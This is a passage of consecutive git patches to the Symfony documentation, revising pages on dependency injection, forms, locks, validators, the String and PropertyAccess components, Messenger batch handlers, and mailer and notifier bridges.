+ * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at compile time **default**
+ * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``:  Returns null
+ * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: Ignores the wrapping command asking for the reference (for instance, ignore a setter if the service does not exist)
+ * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: Ignores/returns null for uninitialized services or invalid references
+ * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at runtime, when trying to access the missing service
+
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------
 

From fd9b155d7f503d04e97e38be56e19c005567abed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Feb 2023 10:55:14 +0100
Subject: [PATCH 4277/7107] Tweaks

---
 components/dependency_injection.rst | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 8b9db9038bc..1e72d67d589 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -170,10 +170,11 @@ like this::
 
     $newsletterManager = $containerBuilder->get('newsletter_manager');
 
-Behavior When Service Does Not Exist
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Getting Services That Don't Exist
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, an exception is throw when a service does not exist. You can override the behavior by::
+By default, when you try to get a service that doesn't exist, you see an exception.
+You can override this behavior as follows::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\ContainerInterface;
@@ -182,17 +183,22 @@ By default, an exception is throw when a service does not exist. You can overrid
 
     // ...
 
-    // the second argument is optional and define the behavior
+    // the second argument is optional and defines what to do when the service doesn't exist
     $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
 
 
-Possible behaviors are:
+These are all the possible behaviors:
 
- * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at compile time **default**
- * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``:  Returns null
- * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: Ignores the wrapping command asking for the reference (for instance, ignore a setter if the service does not exist)
- * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: Ignores/returns null for uninitialized services or invalid references
- * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: Throws an exception at runtime, when trying to access the missing service
+ * ``ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE``: throws an exception
+   at compile time (this is the **default** behavior);
+ * ``ContainerInterface::RUNTIME_EXCEPTION_ON_INVALID_REFERENCE``: throws an
+   exception at runtime, when trying to access the missing service;
+ * ``ContainerInterface::NULL_ON_INVALID_REFERENCE``: returns ``null``;
+ * ``ContainerInterface::IGNORE_ON_INVALID_REFERENCE``: ignores the wrapping
+   command asking for the reference (for instance, ignore a setter if the service
+   does not exist);
+ * ``ContainerInterface::IGNORE_ON_UNINITIALIZED_REFERENCE``: ignores/returns
+   ``null`` for uninitialized services or invalid references.
 
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------

From c4a4d254de04c3628c4a57ef514d3fc324d4f26d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 15 Feb 2023 21:50:30 +0100
Subject: [PATCH 4278/7107] Add Form is_empty_callback option

---
 reference/forms/types/form.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b2314fe8bd2..945bfafc365 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -64,6 +64,13 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
+``is_empty_callback``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``callable`` **default**: ``null``
+
+This callable takes form data and returns whether value is considered empty.
+
 .. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. _reference-form-option-error-bubbling:

From 20f38c1ca9beadcbc694ee55fe440f349d6d1bca Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Thu, 16 Feb 2023 11:04:19 +0100
Subject: [PATCH 4279/7107] [Lock] update doc creation lock table

---
 components/lock.rst | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 85f528b140d..6676dbb342b 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -553,12 +553,21 @@ does not support blocking, and expects a TTL to avoid stalled locks::
 
     This store does not support TTL lower than 1 second.
 
-The table where values are stored is created automatically on the first call to
-the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
+The table where values are stored will be automatically generated when your run the command :
+
+.. code-block:: terminal
+
+    $ php bin/console make:migration
+
+If you prefer to create the table yourself and it has not already been created, you can
+create this table explicitly by calling the
+:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
 You can also add this table to your schema by calling
 :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::configureSchema` method
-in your code or create this table explicitly by calling the
-:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
+in your code
+
+If the table has not been created upstream, it will be created automatically on the first call to
+the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method.
 
 .. _lock-store-pgsql:
 

From 107be53ab986a5043a9ce8586b2227a150a9bafc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 16 Feb 2023 14:25:16 +0100
Subject: [PATCH 4280/7107] [Validator] Add a few missing option default values

---
 reference/constraints/UniqueEntity.rst                        | 4 ++--
 reference/constraints/_comparison-propertypath-option.rst.inc | 2 +-
 reference/constraints/_groups-option.rst.inc                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index fc6fccb18f6..59840bbfe9b 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -145,7 +145,7 @@ Options
 em
 ~~
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
 The name of the entity manager to use for making the query to determine
 the uniqueness. If it's left blank, the correct entity manager will be
@@ -155,7 +155,7 @@ not need to be used.
 ``entityClass``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
 By default, the query performed to ensure the uniqueness uses the repository of
 the current class instance. However, in some cases, such as when using Doctrine
diff --git a/reference/constraints/_comparison-propertypath-option.rst.inc b/reference/constraints/_comparison-propertypath-option.rst.inc
index 35f0da4d189..0965b3cd847 100644
--- a/reference/constraints/_comparison-propertypath-option.rst.inc
+++ b/reference/constraints/_comparison-propertypath-option.rst.inc
@@ -1,7 +1,7 @@
 ``propertyPath``
 ~~~~~~~~~~~~~~~~
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
 It defines the object property whose value is used to make the comparison.
 
diff --git a/reference/constraints/_groups-option.rst.inc b/reference/constraints/_groups-option.rst.inc
index 25ccf6e5d57..e69e96df72e 100644
--- a/reference/constraints/_groups-option.rst.inc
+++ b/reference/constraints/_groups-option.rst.inc
@@ -1,7 +1,7 @@
 ``groups``
 ~~~~~~~~~~
 
-**type**: ``array`` | ``string``
+**type**: ``array`` | ``string`` **default**: ``null``
 
 It defines the validation group or groups of this constraint. Read more
 about :doc:`validation groups </validation/groups>`.

From 701f74bb249287b6870b32501afbc2c7f4afaed2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 16 Feb 2023 14:36:57 +0100
Subject: [PATCH 4281/7107] [Configuration] Add enum case as service parameter
 example

---
 configuration.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index efc8d9e9ce9..c4f95198142 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -189,6 +189,9 @@ reusable configuration value. By convention, parameters are defined under the
             app.some_constant: !php/const GLOBAL_CONSTANT
             app.another_constant: !php/const App\Entity\BlogPost::MAX_ITEMS
 
+            # Enum case as parameter values
+            app.some_enum: !php/enum App\Enum\PostState::Published
+
         # ...
 
     .. code-block:: xml
@@ -226,6 +229,9 @@ reusable configuration value. By convention, parameters are defined under the
                 <!-- PHP constants as parameter values -->
                 <parameter key="app.some_constant" type="constant">GLOBAL_CONSTANT</parameter>
                 <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter>
+
+                <!-- Enum case as parameter values -->
+                <parameter key="app.some_enum" type="enum">App\Enum\PostState::Published</parameter>
             </parameters>
 
             <!-- ... -->
@@ -237,6 +243,7 @@ reusable configuration value. By convention, parameters are defined under the
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Entity\BlogPost;
+        use App\Enum\PostState;
 
         return static function (ContainerConfigurator $containerConfigurator) {
             $containerConfigurator->parameters()
@@ -256,6 +263,9 @@ reusable configuration value. By convention, parameters are defined under the
                 // PHP constants as parameter values
                 ->set('app.some_constant', GLOBAL_CONSTANT)
                 ->set('app.another_constant', BlogPost::MAX_ITEMS);
+
+                // Enum case as parameter values
+                ->set('app.some_enum', PostState::Published);
         };
 
         // ...
@@ -272,6 +282,10 @@ reusable configuration value. By convention, parameters are defined under the
             something@example.com
         </parameter>
 
+.. versionadded:: 6.2
+
+    Passing an enum case as a service parameter was introduced in Symfony 6.2.
+
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``
 (e.g. ``%app.admin_email%``):

From 369b563ceb0f148b3f8cc4830b90c708ac43c133 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 11 Feb 2023 15:48:40 +0100
Subject: [PATCH 4282/7107] Changing "white spaces" => "whitespace"

---
 components/string.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index e4c4d9f0c8b..de7f30f9e8f 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -177,8 +177,8 @@ There is also a method to get the bytes stored at some position::
     b('नमस्ते')->bytesAt(1);   // [164]
     u('नमस्ते')->bytesAt(1);   // [224, 164, 174]
 
-Methods Related to Length and White Spaces
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Methods Related to Length and Whitespace Characters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 ::
 
@@ -202,13 +202,13 @@ Methods Related to Length and White Spaces
     END";
     u($text)->width(); // 14
 
-    // only returns TRUE if the string is exactly an empty string (not even white spaces)
+    // only returns TRUE if the string is exactly an empty string (not even whitespace)
     u('hello world')->isEmpty();  // false
     u('     ')->isEmpty();        // false
     u('')->isEmpty();             // true
 
-    // removes all white spaces from the start and end of the string and replaces two
-    // or more consecutive white spaces inside contents by a single white space
+    // removes all whitespace from the start and end of the string and replaces two
+    // or more consecutive whitespace characters inside contents by a single white space
     u("  \n\n   hello        world \n    \n")->collapseWhitespace(); // 'hello world'
 
 Methods to Change Case
@@ -298,7 +298,7 @@ Methods to Pad and Trim
     // repeats the given string the number of times passed as argument
     u('_.')->repeat(10); // '_._._._._._._._._._.'
 
-    // removes the given characters (by default, white spaces) from the string
+    // removes the given characters (default: whitespace characters) from the beginning and end of a string
     u('   Lorem Ipsum   ')->trim(); // 'Lorem Ipsum'
     u('Lorem Ipsum   ')->trim('m'); // 'Lorem Ipsum   '
     u('Lorem Ipsum')->trim('m');    // 'Lorem Ipsu'

From 6cf5c14c7fa5d83581647b80cbebb8ee68f93b8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Feb 2023 10:03:04 +0100
Subject: [PATCH 4283/7107] Tweaks

---
 components/string.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index de7f30f9e8f..6e97667fab6 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -177,6 +177,8 @@ There is also a method to get the bytes stored at some position::
     b('नमस्ते')->bytesAt(1);   // [164]
     u('नमस्ते')->bytesAt(1);   // [224, 164, 174]
 
+.. _methods-related-to-length-and-white-spaces:
+
 Methods Related to Length and Whitespace Characters
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -207,9 +209,9 @@ Methods Related to Length and Whitespace Characters
     u('     ')->isEmpty();        // false
     u('')->isEmpty();             // true
 
-    // removes all whitespace from the start and end of the string and replaces two
-    // or more consecutive whitespace characters inside contents by a single white space
-    u("  \n\n   hello        world \n    \n")->collapseWhitespace(); // 'hello world'
+    // removes all whitespace (' \n\r\t\x0C') from the start and end of the string and
+    // replaces two or more consecutive whitespace characters with a single space (' ') character
+    u("  \n\n   hello \t   \n\r   world \n    \n")->collapseWhitespace(); // 'hello world'
 
 Methods to Change Case
 ~~~~~~~~~~~~~~~~~~~~~~

From 1be7e33ddd79797889758898a0fbbf25ac503673 Mon Sep 17 00:00:00 2001
From: Daniel <mail@danielkesselberg.de>
Date: Thu, 16 Feb 2023 11:24:08 +0100
Subject: [PATCH 4284/7107] docs(DomCrawler): remove hint about html5-php
 library

html5-php is mandatory after https://github.com/symfony/symfony/pull/44170
---
 components/dom_crawler.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 709f3d86981..18d6abbb551 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -70,13 +70,6 @@ tree.
     isn't meant to dump content, you can see the "fixed" version of your HTML
     by :ref:`dumping it <component-dom-crawler-dumping>`.
 
-.. note::
-
-    If you need better support for HTML5 contents or want to get rid of the
-    inconsistencies of PHP's DOM extension, install the `html5-php library`_.
-    The DomCrawler component will use it automatically when the content has
-    an HTML5 doctype.
-
 Node Filtering
 ~~~~~~~~~~~~~~
 
@@ -650,5 +643,3 @@ Learn more
 
 * :doc:`/testing`
 * :doc:`/components/css_selector`
-
-.. _`html5-php library`: https://github.com/Masterminds/html5-php

From b1c77c9514e7c6b629a11aec5a3abfa9945ea1b9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 17 Feb 2023 19:15:55 +0100
Subject: [PATCH 4285/7107] [Messenger] Add `BatchHandlerInterface` and
 `BatchHandlerTrait` mentions

---
 messenger.rst | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index a49de0d2276..49c4768ab0e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2201,6 +2201,71 @@ That's it! You can now consume each transport:
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
 
+Process Messages by Batches
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can declare "special" handlers which will process messages by batch.
+By doing so, the handler will wait for a certain amount of messages to be
+pending before processing them. The declaration of a batch handler is done
+by implementing
+:class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface`. The
+:class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` is also
+provided in order to ease the declaration of these special handlers::
+
+    use Symfony\Component\Messenger\Handler\Acknowledger;
+    use Symfony\Component\Messenger\Handler\BatchHandlerInterface;
+    use Symfony\Component\Messenger\Handler\BatchHandlerTrait;
+
+    class MyBatchHandler implements BatchHandlerInterface
+    {
+        use BatchHandlerTrait;
+
+        public function __invoke(MyMessage $message, Acknowledger $ack = null)
+        {
+            return $this->handle($message, $ack);
+        }
+
+        private function process(array $jobs): void
+        {
+            foreach ($jobs as [$message, $ack]) {
+                try {
+                    // Compute $result from $message...
+
+                    // Acknowledge the processing of the message
+                    $ack->ack($result);
+                } catch (\Throwable $e) {
+                    $ack->nack($e);
+                }
+            }
+        }
+
+        // Optionally, you can redefine the `shouldFlush()` method
+        // of the trait to define your own batch size
+        private function shouldFlush(): bool
+        {
+            return 100 <= \count($this->jobs);
+        }
+    }
+
+.. note::
+
+    When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is
+    expected to be handled synchronously. Otherwise, ``__invoke()`` is
+    expected to return the number of pending messages. The
+    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` handles
+    this for you.
+
+.. note::
+
+    By default, pending batches are flushed when the worker is idle as well
+    as when it is stopped.
+
+.. versionadded:: 5.4
+
+    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface` and
+    :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` were
+    introduced in Symfony 5.4.
+
 Extending Messenger
 -------------------
 

From c589c4cd2d5f608108b9b48e98d48f803edbaa74 Mon Sep 17 00:00:00 2001
From: JoppeDC <joppe@yappa.be>
Date: Sat, 18 Feb 2023 15:52:45 +0100
Subject: [PATCH 4286/7107] Replace orm-pack with orm

---
 setup/flex.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 491d9ba7d0b..d5a9c113dc2 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -74,7 +74,7 @@ manual steps:
 
    .. code-block:: terminal
 
-       $ composer require annotations asset orm-pack twig \
+       $ composer require annotations asset orm twig \
          logger mailer form security translation validator
        $ composer require --dev dotenv maker-bundle orm-fixtures profiler
 

From a3bedbf0e130b92c52fdc6eccf3c5e7c21297751 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Feb 2023 17:41:45 +0100
Subject: [PATCH 4287/7107] Adding needsRehash()

Page: https://symfony.com/doc/5.4/security/passwords.html#custom-password-hasher

Adding this to comply with `PasswordHasherInterface`

* I didn't check if this is really required in v5.4 already (but for sure in 6.2)
---
 security/passwords.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security/passwords.rst b/security/passwords.rst
index 2a2f7acc336..cdb4d09102e 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -830,6 +830,12 @@ If you need to create your own, it needs to follow these rules:
 
             return $passwordIsValid;
         }
+
+        public function needsRehash(string $hashedPassword): bool
+        {
+            // Check if a password hash would benefit from rehashing
+            return $needsRehash;
+        }
     }
 
 Now, define a password hasher using the ``id`` setting:

From ce6f7db7a728d2042be6ffdffe542698b3404237 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 19 Feb 2023 14:53:49 +0100
Subject: [PATCH 4288/7107] [Security] Removing "Most applications will only
 need one firewall"

Follow-up of https://github.com/symfony/symfony-docs/pull/17864, so to say
---
 reference/configuration/security.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 70784bf4853..40e1c7ef456 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -827,8 +827,7 @@ The name of the ``$_SERVER`` parameter holding the user identifier.
 Firewall Context
 ~~~~~~~~~~~~~~~~
 
-Most applications will only need one :ref:`firewall <firewalls-authentication>`.
-But if your application *does* use multiple firewalls, you'll notice that
+If your application uses multiple :ref:`firewalls <firewalls-authentication>`, you'll notice that
 if you're authenticated in one firewall, you're not automatically authenticated
 in another. In other words, the systems don't share a common "context":
 each firewall acts like a separate security system.

From 468703fd887233fe78d931d81e0b607f52b5e78c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 19 Feb 2023 16:28:46 +0100
Subject: [PATCH 4289/7107] [String] Add `LazyString` documentation

---
 components/string.rst | 49 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 6e97667fab6..6e20dd3e911 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -481,6 +481,55 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
+Lazily-loaded Strings
+---------------------
+
+Additionally to other types of strings presented above, the
+:class:`Symfony\\Component\\String\\LazyString` allows to store
+a string whose value is only generated when you need it. This is
+useful when the string needs a heavy computation to determine its value,
+like a hash for example. A lazy string can be declared like this::
+
+    use Symfony\Component\String\LazyString;
+
+    $lazyString = LazyString::fromCallable(function () {
+        // Compute the string value...
+        $value = ...;
+
+        // Then return the final value
+        return $value;
+    });
+
+The callback will only be executed when the value of the lazy string is
+requested in the program execution.
+
+A lazy string can also be created from a ``Stringable`` object::
+
+    class Hash implements \Stringable
+    {
+        public function __toString(): string
+        {
+            return $this->computeHash();
+        }
+
+        private function computeHash(): string
+        {
+            // Compute hash value with potentially heavy processing
+            $hash = ...;
+
+            return $hash;
+        }
+    }
+
+    // Then create a lazy string from this hash, which will trigger
+    // hash computation only if it's needed
+    $lazyHash = LazyString::fromStringable(new Hash());
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\String\\LazyString` class was introduced
+    in Symfony 5.1.
+
 Slugger
 -------
 

From 5c323fb8f1fe75b50b95323b85f09b6b14d6628b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 19 Feb 2023 16:06:42 +0100
Subject: [PATCH 4290/7107] [PropertyAccess] Allow to escape dots and squared
 brackets in property paths

---
 components/property_access.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index fcd0551c257..8e2bded5188 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -81,6 +81,23 @@ You can also use multi dimensional arrays::
     var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter'
     var_dump($propertyAccessor->getValue($persons, '[1][first_name]')); // 'Ryan'
 
+.. tip::
+
+    If the key of the array contains a dot ``.`` or a left squared bracket ``[``,
+    it is possible to escape these characters with a backslash. In the above example,
+    if the array key ``first_name`` becomes ``first.name``, accessing the value can
+    be achieved like this::
+
+        var_dump($propertyAccessor->getValue($persons, '[0][first\.name]')); // 'Wouter'
+        var_dump($propertyAccessor->getValue($persons, '[1][first\.name]')); // 'Ryan'
+
+    Right squared brackets ``]`` don't need to be escaped.
+
+.. versionadded:: 6.3
+
+    Escaping dots and left squared bracket in a property path was
+    introduced in Symfony 6.3.
+
 Reading from Objects
 --------------------
 

From fcf3c27fb5af6ab99cb91cd67ef2b19fc3f590fb Mon Sep 17 00:00:00 2001
From: Ramunas Pabreza <doobas@gmail.com>
Date: Mon, 20 Feb 2023 09:09:28 +0200
Subject: [PATCH 4291/7107] [Mailer] Add MailerSend bridge

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 21b4d2ccb7d..14a3b877b20 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -111,8 +111,13 @@ SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 MailPace            ``composer require symfony/mail-pace-mailer``
 Infobip             ``composer require symfony/infobip-mailer``
+MailerSend          ``composer require symfony/mailersend-mailer``
 ==================  ==============================================
 
+.. versionadded:: 6.3
+
+    The MailerSend integration was introduced in Symfony 6.3.
+
 .. versionadded:: 6.2
 
     The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
@@ -177,6 +182,7 @@ Postmark             postmark+smtp://ID@default                           n/a
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 Infobip              infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
+MailerSend           mailersend+smtp://KEY@default                        n/a                                         mailersend+api://KEY@BASE_URL
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::

From 8134b20dee027b0de8c51c91b295308e7c239727 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 18 Feb 2023 19:27:13 +0100
Subject: [PATCH 4292/7107] [Security] `its` => `their`

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index e3907a3317b..395ea9ef675 100644
--- a/security.rst
+++ b/security.rst
@@ -824,8 +824,8 @@ Finally, create or update the template:
 
 .. caution::
 
-    The ``error`` variable passed into the template is an instance of
-    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
+    The ``error`` variable passed into the template is an instance
+    of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
     It may contain sensitive information about the authentication failure.
     *Never* use ``error.message``: use the ``messageKey`` property instead,
     as shown in the example. This message is always safe to display.
@@ -1659,7 +1659,7 @@ You can log in a user programmatically using the `login()` method of the
             // you can also log in on a different firewall
             $security->login($user, 'form_login', 'other_firewall');
 
-            // ... redirect the user to its account page for instance
+            // ... redirect the user, e.g. to their account page
         }
     }
 

From fa48443abc133f3384600bbb9cc75d41f9b956f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Feb 2023 13:22:21 +0100
Subject: [PATCH 4293/7107] Tweaks

---
 components/property_access.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 8e2bded5188..033db78edb8 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -83,20 +83,20 @@ You can also use multi dimensional arrays::
 
 .. tip::
 
-    If the key of the array contains a dot ``.`` or a left squared bracket ``[``,
-    it is possible to escape these characters with a backslash. In the above example,
-    if the array key ``first_name`` becomes ``first.name``, accessing the value can
-    be achieved like this::
+    If the key of the array contains a dot ``.`` or a left square bracket ``[``,
+    you must escape those characters with a backslash. In the above example,
+    if the array key was ``first.name`` instead of ``first_name``, you should
+    access its value as follows::
 
         var_dump($propertyAccessor->getValue($persons, '[0][first\.name]')); // 'Wouter'
         var_dump($propertyAccessor->getValue($persons, '[1][first\.name]')); // 'Ryan'
 
-    Right squared brackets ``]`` don't need to be escaped.
+    Right square brackets ``]`` don't need to be escaped in array keys.
 
-.. versionadded:: 6.3
+    .. versionadded:: 6.3
 
-    Escaping dots and left squared bracket in a property path was
-    introduced in Symfony 6.3.
+        Escaping dots and left square brackets in a property path was
+        introduced in Symfony 6.3.
 
 Reading from Objects
 --------------------

From bf3998c84bd20b85983a54011e6393274eed1f17 Mon Sep 17 00:00:00 2001
From: Charly Goblet <charly.goblet@gmail.com>
Date: Mon, 20 Feb 2023 13:39:15 +0100
Subject: [PATCH 4294/7107] [Notifier] Add Pushover bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 976f5fb9e05..0e927df9d7e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -430,6 +430,7 @@ Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@de
 Expo            ``symfony/expo-notifier``              ``expo://Token@default``
 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
+Pushover        ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
 ==============  ====================================  =================================================================================
 
 .. versionadded:: 6.1
@@ -438,7 +439,7 @@ PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDO
 
 .. versionadded:: 6.3
 
-    The PagerDuty integration was introduced in Symfony 6.3.
+    The PagerDuty and Pushover integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From f1299637f5da8444757d175f13894729ab741ec8 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 20 Feb 2023 14:58:16 +0100
Subject: [PATCH 4295/7107] Security: format `login()` properly

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 395ea9ef675..48f1915b70a 100644
--- a/security.rst
+++ b/security.rst
@@ -1631,7 +1631,7 @@ Login Programmatically
     The :method:`Symfony\\Bundle\\SecurityBundle\\Security::login`
     method was introduced in Symfony 6.2.
 
-You can log in a user programmatically using the `login()` method of the
+You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php

From d68d23d0de9b3d03d82fef621985be9ea07a115e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Feb 2023 15:34:30 +0100
Subject: [PATCH 4296/7107] Tweaks

---
 components/string.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 6e20dd3e911..57628644fdf 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -481,14 +481,15 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
-Lazily-loaded Strings
----------------------
+Lazy-loaded Strings
